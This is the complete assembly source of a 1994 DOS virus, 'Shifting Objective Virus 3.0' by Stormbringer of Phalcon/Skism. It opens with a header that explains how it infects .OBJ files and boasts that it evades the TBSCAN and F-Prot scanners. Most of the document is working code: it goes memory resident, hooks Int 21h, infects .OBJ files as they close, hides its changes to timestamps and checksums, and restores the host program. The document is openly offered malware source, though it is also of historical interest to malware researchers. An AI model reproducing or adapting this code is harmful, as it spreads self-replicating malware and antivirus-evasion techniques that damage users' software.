home *** CD-ROM | disk | FTP | other *** search
- ;+----------------------------------------------------------------------+
- ;ª Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] ª
- ;ª ª
- ;ª Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! ª
- ;ª ª
- ;ª This virus breaks new bounds in viral technology, best I know }-) ª
- ;ªIt infects .OBJ files that are set up to compile to simple, stand- ª
- ;ªalone .COM's. The basic theory for this is the following: It takes ª
- ;ªthe pre-set compiling points of the modules in the .OBJ and moves themª
- ;ªup in memory so Objective will have room to insert itself underneath. ª
- ;ªWhen the file is compiled the virus is at the beginning of the file, ª
- ;ªand the original code follows BUT - the original code's memory offsetsª
- ;ªare what they were BEFORE the virus infected the .OBJ. Therefore, allª
- ;ªObjective has to do when it runs is go memory resident, and shift the ª
- ;ªhost code back down to where it starts at 100h in memory, and all is ª
- ;ªwell. ª
- ;ª ª
- ;ª Object files are basically a set of linked lists or fields, each ª
- ;ªwith a three byte header. The first byte is it's identity byte, whileª
- ;ªthe following word is the size of the field - header. The very last ª
- ;ªbyte of each record is a simple checksum byte - this can be gained ª
- ;ªsimply by adding up all of the bytes in the field save the three byte ª
- ;ªheader and taking the negative (not reg/inc reg) so that the entire ª
- ;ªfield value + checksum = 0. Each field type has it's own identity ª
- ;ªvalue, but we are only concerned with a few right now. ª
- ;ª ª
- ;ªThey are as follows: ª
- ;ª 80h - Starting field of a .OBJ file ª
- ;ª 8Ch - External definitions ª
- ;ª 8Ah - Ending field of a .OBJ file ª
- ;ª A0h - Regular Code ª
- ;ª A2h - Compressed code (patterns/reiterated stuff) ª
- ;ª ª
- ;ª In the A0h and A2h types of fields, there is one more thing that ª
- ;ªconcerns us - the three bytes after the field size in the header ª
- ;ªare indicators of the location in memory the code will be at - the ª
- ;ªsecond and third byte form the word we will be concerned with, which ª
- ;ªis a simple offset from CS:0000 that the code will begin. Since we ª
- ;ªare dealing with .COM files and want to put our virus at the beginningª
- ;ªof the file, we set the position field of the virus to 100h and the ª
- ;ªpositions of all the other A0h and A2h fields to their old position ª
- ;ªplus the virus size. When the file is compiled, the virus will be ª
- ;ªat the beginning and the host will follow. Attaching the virus to ª
- ;ªthe .OBJ itself is simple enough - just save the 8Ah field in memory, ª
- ;ªand write FROM IT'S OLD BEGINNING a header for your virus, your ª
- ;ªvirus, then a checksum and the old 8Ah field. At all times when ª
- ;ªmodifying fields, the checksums must be fixed afterwards. ª
- ;ª ª
- ;ª For the rest of the techniques that may be useful, I suggest you ª
- ;ªlook at the following code for my Shifting Objective Virus. I'd like ª
- ;ªto thank The Nightmare for his ideas on this when we sat around bored ª
- ;ªthose days. Greets go out to all of Phalcon/Skism, Urnst Kouch, ª
- ;ªMark Ludwig, TridenT, NuKE, and the rest of the viral community. ª
- ;ªA special hello goes to Hermanni and Frisk. ª
- ;ª ª
- ;ª - Stormbringer [P/S] ª
- ;ª --ñ------------------- ª
- ;ª - ª
- ;+----------------------------------------------------------------------+
- .model tiny
- .radix 16
- .code
- org 100
- start:
- push ds
- sub ax,ax
- mov ds,ax
- mov ax,word ptr ds:[84]
- mov word ptr cs:[Fake21IP],ax
- mov ax,word ptr ds:[86]
- mov word ptr cs:[Fake21CS],ax
- mov ax,word ptr ds:[2f*4]
- mov word ptr cs:[Fake2fIP],ax
- mov ax,word ptr ds:[2f*4+2]
- mov word ptr cs:[Fake2fCS],ax
- pop ds
-
- CheckIfResident:
- mov ax,0feadh ;Check if we are in memory
- call fake21
- cmp ax,0d00dh
- jne ReserveMemory ;Nope, go resident
-
- xor ax,ax
- mov ds,ax
- jmp RestoreFile ;Yep, skip it
-
- ReserveMemory:
- mov ax,ds
- dec ax ;Go to MCB's
- mov ds,ax
- sub word ptr ds:[3],80 ;Grab 2K from this MCB
- sub word ptr ds:[12],80 ;And from the Top of MEM in PSP
- xor ax,ax
- mov ds,ax ;We're gonna take up 2k in memory.
- sub word ptr ds:[413],2 ;Reserve 2k from bios
- int 12h ;Get bios memory amount in K
- mov cl,6
- shl ax,cl
-
- PutVirusInMemory:
- push cs
- pop ds
- sub ax,10 ;NewSeg:0 was in AX, now Newseg:100
- mov es,ax ;is start of reserved memory field....
- mov di,100
- mov si,100
- mov cx,end_prog-start
- repnz movsb ;Copy virus into memory
-
- HookInterrupts:
- xor ax,ax
- mov ds,ax ;Hook Int 21h directly using
- cli ;Interrupt table
- mov ax,offset Int21
- xchg word ptr ds:[84],ax
- mov word ptr es:[IP_21],ax
- mov ax,es
- xchg word ptr ds:[86],ax
- mov word ptr es:[CS_21],ax
- sti
-
-
- RestoreFile:
- push cs
- pop es
- mov ax,0deadh ;Call interrupt handler to restore file
-
- pushf
- call dword ptr ds:[84]
-
- mov ax,4c01 ;Terminate if restore unsuccessful
- call fake21
-
- InstallCHeck:
- mov ax,0d00dh ;Tell prog we're already here
- iret
-
- Int21:
- cmp ax,0feadh
- je InstallCheck ;Is it an install check?
- cmp ax,0deadh
- je RestoreHost ;Or a restoration request?
- cmp ah,3e
- jz fileclose ;Fileclose - go infect it if it's an .OBJ
- GoInt21:
- db 0ea ;Jump back into int 21h handler
- IP_21 dw 0
- CS_21 dw 0
-
- RestoreHost:
- push es
- pop ds
-
- mov di,sp ;Set iret to return to beginning of code
- mov [di],100
-
- mov di,100
- mov si,offset Host ;Shift host back down over virus in memory
- mov cx,0f000
- repnz movsb
-
- mov si,ax
- xor ax,ax
- mov bx,ax ;Set registers as if just executing
- mov cx,ax
- mov dx,ax
- mov di,ax
- iret ;Iret back into the host file
-
- fileclose:
- pushf
- push ax bx cx dx es ds si di bp
- xor ax,ax
- xor ax,1220h
- call fake2f
- push bx
- mov bl,byte ptr es:[di] ;Good ol' SFT trick
- mov ax,1216h
- call fake2f
- or word ptr es:[di+2],2 ;Set file Read/Write
- add di,28
- pop bx
- cmp byte ptr es:[di+2],'J' ;Check out filename
- jne Done_Close
- cmp word ptr es:[di],'BO'
- jne Done_Close
- mov word ptr cs:[Host_Handle],bx
-
- mov ax,5700 ;Save date/time stamp
- call fake21
- push cx dx
- call Infect_Obj ;go infect it
- pop dx cx
- mov ax,5701 ;Restore date/time stamp
- call fake21
-
- Done_Close:
- pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h
- popf
- jmp GoInt21
-
- Isanexec:
- push dx
- GetAndSaveCurLoc:
- mov ax,4201 ;Save position of current module
- xor cx,cx
- xor dx,dx
- call fake21
- push dx ax
- ModExecStartingPoint:
- ReadOldStartingPoint:
- mov ah,3f
- mov dx,offset startingpt ;Read starting point
- mov cx,3
- call fake21
- mov ax,word ptr [startingpt+1]
- cmp byte ptr firstexec,0 ;Check if this is the first exec field
- jne NotFirstExec
-
- ;If so, it should have a starting
- ;point of 100h for a .COM for us
- ;to infect it correctly
-
- CheckifwillbeCOMfile: ;we're assuming that anything with
- mov byte ptr firstexec,1 ;a starting point of cs:100h will be
- ;a com. while this isn't true all
- ;the time, we can cross our fingers..
- cmp ax,100
- je NotFirstExec ;File is good, continue infection.
-
- Getouttahere:
- pop ax ax ax ;won't be a .com file - don't infect.
- ret
-
- NotFirstExec: ;Either it isn't first exec or the
- mov cx,end_prog-start ;check was good.. now add virus size
- add ax,cx ;to exec starting point.
- mov word ptr [startingpt+1],ax
- GoBackToStartingPointinfo:
- pop dx cx
- push cx dx
- mov ax,4200 ;go back to starting point field
- call fake21
- AndWriteIt:
- mov ah,41
- dec ah
- mov cx,3
- mov dx,offset startingpt ;and save it
- call fake21
-
- GoToChecksumField:
- mov dx,fieldsize
- sub dx,4
- xor cx,cx ;go to checksum field
- mov ax,4201
- call fake21
- ResetExecChecksum:
- mov ah,3f
- mov dx,offset Checksum ;read checksum field
- mov cx,1
- call fake21
- mov cx,-1
- mov dx,-1 ;go back to checksum field in file
- mov ax,4201
- call fake21
- mov cx,(end_prog-start)
- sub Checksum,ch ;modify checksum to account for
- sub Checksum,cl ;our change to starting point field.
- mov ah,41
- mov dx,offset Checksum ;and write it
- mov cx,1
- dec ah
- call fake21
- DoneIsExec:
- pop dx cx
- mov ax,4200 ;Restore original file pointer
- call fake21
- pop dx
- jmp NExtfield ;and continue with infection
-
- startingpt db 0,0,0
- firstexec db 0
-
- anexec:
- jmp isanexec
-
- Bailout:
- ret
-
- Infect_Obj:
- push cs cs
- pop es ds
- mov firstexec,0 ;Init first exec field
- call go_bof ;Go to beginning of file
-
- ModExecFields:
- call ReadHeader ;read the three byte header, field size in DX
- ;Header type in AL
-
- cmp al,8c ;External module
- je bailout ;It has external calls, which we can't
- ;handle yet :(
-
- cmp al,0a0 ;Executable module
- je anexec
-
- cmp al,0a2 ;Reiterated executable module
- je anexec
-
- cmp al,8a ;Ending module
- je DoneModExecs
-
- NextField:
- mov ax,4201 ;Go to the next field
- xor cx,cx
- call fake21
- jmp ModExecFields
-
- DoneModExecs:
- mov ax,4201
- mov cx,-1
- mov dx,-3 ;go to start of 8A field (end module)
- call fake21
-
- push dx ax
-
- mov cx,fieldsize
- add cx,3+10 ;the +10 is just to be safe
- mov ah,3f ;load in last module
- mov dx,offset buffer
- call fake21
- mov endfieldsize,ax ;Read in the end module
-
- pop dx cx
- mov ax,4200 ;Go back to the beginning of the module
- call fake21 ;now that we have it in memory
-
- WriteOurHeader:
- mov ah,3f
- mov cx,endheader-ourheader ;write the header for virus module
- mov dx,offset ourheader
- inc ah
- call fake21
-
- WriteVirus:
- mov ah,3f
- mov cx,end_prog-start ;write virus to file
- mov dx,100
- inc ah
- call fake21
-
- CreateChecksum:
- mov si,100
- mov cx,end_prog-start
- xor ax,ax
- AddupChecksum: ;Create checksum for virus
- lodsb
- add ah,al
- loop AddupChecksum
- not ah
- inc ah
- mov Checksum,ah
-
- WriteChecksum:
- mov dx,offset Checksum
- mov cx,1
- mov ah,3f
- inc ah
- call fake21 ;Then save the checksum in module
-
- WriteEndModule:
- mov dx,offset Buffer
- mov cx,endfieldsize
- mov ah,3f
- inc ah
- call fake21 ;And put the ending module back into
- ret ;place.... we're done.
-
-
- ReadHEader:
- mov ah,3f
- mov dx,offset fieldheader
- mov cx,3 ;Read module header for .obj files
- call fake21 ;save module type in AL and
- mov al,fieldheader ;module size in DX
- mov dx,fieldsize
- ret
-
-
- Go_Bof: ;Go to beginning of file
- mov al,0
- jmp short movefp
- Go_Eof: ;Go to the end of the file
- mov al,02
- movefp: ;Or just move the File pointer
- xor cx,cx
- xor dx,dx
- mov ah,42
- call fake21
- ret
-
- fake21:
- pushf
- db 9a
- fake21IP dw 0
- fake21CS dw 0
- ret
-
- fake2f:
- pushf
- db 9a
- fake2fIP dw 0
- fake2fCS dw 0
- ret
-
- Credits:
- db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
- db 'Kudos go to The Nightmare!'
- OurHeader:
- db 0A0
- dw (end_prog-start+4) ;our size in an .OBJ file
- db 1
- db 0 ;starting position (cs:100h)
- db 1
- endheader:
-
- endfieldsize dw 0
- Checksum db 0
- fieldheader db 0
- fieldsize dw 0
- Host_Handle dw 0
- end_prog:
- Buffer:
- Host db 90,90,90,90,90,90,90,90,0cdh,20
- end start
-
-
-